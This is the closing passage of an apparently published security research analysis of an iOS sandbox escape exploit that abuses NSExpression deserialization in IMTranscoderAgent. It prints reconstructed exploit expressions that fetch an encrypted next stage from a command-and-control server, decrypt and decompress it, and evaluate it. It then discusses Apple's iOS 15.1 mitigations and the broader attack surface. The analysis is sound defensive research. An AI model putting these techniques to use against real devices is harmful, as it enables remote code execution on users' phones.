<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ] AES128DecryptWithPassword:NSData(XXXX)</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ] decompressedDataUsingAlgorithm:3 error:]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> options: Class(NSConstantValueExpression)</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> format: Class(NSConstantValueExpression)</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> errors:Class(NSConstantValueExpression)</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> forKey:@"1"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>The innermost reference to </span><span class="YDzVciBUld-c0">sharedAnonymizedStrings</span><span> here grabs the </span><span class="YDzVciBUld-c0">NSURLComponents</span><span> object and builds the full url from the query string parameters set last earlier. That url is passed to </span><span class="YDzVciBUld-c0">[NSData dataWithContentsOfURL:]</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> to fetch a data blob from a remote server.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>That data blob is decrypted with a hardcoded AES128 key, decompressed using zlib then parsed as a plist. That parsed plist is stored in the </span><span class="YDzVciBUld-c0">sharedAnonymizedStrings</span><span> dictionary under the key </span><span class="YDzVciBUld-c0">"1"</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">.</span></p><h3 class="YDzVciBUld-c8" id="h.rmw3ubtmn06v"><span class="YDzVciBUld-c10 YDzVciBUld-c3">Expression 5</span></h3>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[ [[NSThread mainThread] threadDictionary]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> addEntriesFromDictionary:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [[CaliCalendarAnonymizer sharedAnonymizedStrings]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> objectForKey:@"1"]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">This copies all the keys and values from the "next-stage" plist into the main thread's theadDictionary.</span></p><h3 class="YDzVciBUld-c8" id="h.qzgbnlme8c4b"><span class="YDzVciBUld-c10 YDzVciBUld-c3">Expression 6</span></h3>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[ [NSExpression expressionWithFormat:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [[[CaliCalendarAnonymizer sharedAnonymizedStrings]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> objectForKey:@"1"]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> objectForKey: @"a"]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0 YDzVciBUld-c2"> ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> expressionValueWithObject:nil context:nil</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">]</span></p>
<p class="YDzVciBUld-c4"><span>Finally, this fetches the value of the "</span><span class="YDzVciBUld-c0">a</span><span>" key from the next-stage plist, parses it as an </span><span class="YDzVciBUld-c0">NSExpression</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> string and evaluates it.</span></p><h2 class="YDzVciBUld-c7" id="h.5m5pj8ghutz4"><span class="YDzVciBUld-c9 YDzVciBUld-c3">End of the line</span></h2>
<p class="YDzVciBUld-c4"><span>At this point we lose the ability to follow the exploit. The attackers have escaped the </span><span class="YDzVciBUld-c0">IMTranscoderAgent</span><span> sandbox, requested a next-stage from the command and control server and executed it, all without any memory corruption or dependencies on particular versions of the operating system.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>In response to this exploit</span><span> </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://developer.apple.com/documentation/ios-ipados-release-notes/ios-ipados-15_1-release-notes">iOS 15.1 significantly reduced the computational power available to NSExpressions</a></span><span>:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c12"><span class="YDzVciBUld-c3 YDzVciBUld-c13">NSExpression immediately forbids certain operations that have significant side effects, like creating and destroying objects. Additionally, casting string class names into Class objects with NSConstantValueExpression is deprecated.</span></p>
<p class="YDzVciBUld-c1 YDzVciBUld-c12"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>In addition the </span><span class="YDzVciBUld-c0">PTSection</span><span> and </span><span class="YDzVciBUld-c0">PTRow</span><span> objects have been hardened with the following check added around the parsing of serialized </span><span class="YDzVciBUld-c0">NSPredicates</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">if (os_variant_allows_internal_security_policies(</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> "com.apple.PrototypeTools") {</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [coder decodeObjectOfClass:NSPredicate forKey:@"condition]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">...</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Object deserialization across trust boundaries still presents an enormous attack surface however</span><span>.</span></p><h2 class="YDzVciBUld-c7" id="h.fyh8k0aja0xk"><span class="YDzVciBUld-c9 YDzVciBUld-c3">Conclusion</span></h2>
<p class="YDzVciBUld-c4"><span>Perhaps the most striking takeaway is the depth of the attack surface reachable from what would hopefully be a fairly constrained sandbox. With just two tricks (</span><span class="YDzVciBUld-c0">NSObject</span><span> pointers in protocols and library loading gadgets) it's likely possible to attack almost every </span><span class="YDzVciBUld-c0">initWithCoder</span><span> implementation in the </span><span class="YDzVciBUld-c0">dyld_shared_cache</span><span>. There are presumably many other classes in addition to </span><span class="YDzVciBUld-c0">NSPredicate</span><span> and </span><span class="YDzVciBUld-c0">NSExpression</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> which provide the building blocks for logic-style exploits.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">The expressive power of NSXPC just seems fundamentally ill-suited for use across sandbox boundaries, even though it was designed with exactly that in mind. The attack surface reachable from inside a sandbox should be minimal, enumerable and reviewable. Ideally only code which is required for correct functionality should be reachable; it should be possible to determine exactly what that exposed code is and the amount of exposed code should be small enough that manually reviewing it is tractable. </span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>NSXPC requiring developers to explicitly add remotely-exposed methods to interface protocols is a great example of how to make the attack surface enumerable - you can at least find all the entry points fairly easily. However the support for inheritance means that the attack surface exposed there likely isn't reviewable; it's simply too large for anything beyond a basic</span><span> example</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">Refactoring these critical IPC boundaries to be more prescriptive - only allowing a much narrower set of objects in this case - would be a good step towards making the attack surface reviewable. This would probably require fairly significant refactoring for NSXPC; it's built around natively supporting the Objective-C inheritance model and is used very broadly. But without such changes the exposed attack surface is just too large to audit effectively.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>The advent of Memory Tagging Extensions (MTE), likely shipping in multiple consumer devices across the ARM ecosystem this year,</span><span> </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://www.usenix.org/system/files/login/articles/login_summer19_03_serebryany.pdf">is a big step in the defense against memory corruption exploitation</a></span><span>. But attackers innovate too, and are likely already two steps ahead with a renewed focus on logic bugs. This sandbox escape exploit is likely a sign of the shift we can expect to see over the next few years if the promises of MTE can be delivered. And this exploit was far more extensible, reliable and generic than almost any memory corruption exploit could ever hope to be.</span></p>Unknownnoreply@blogger.com0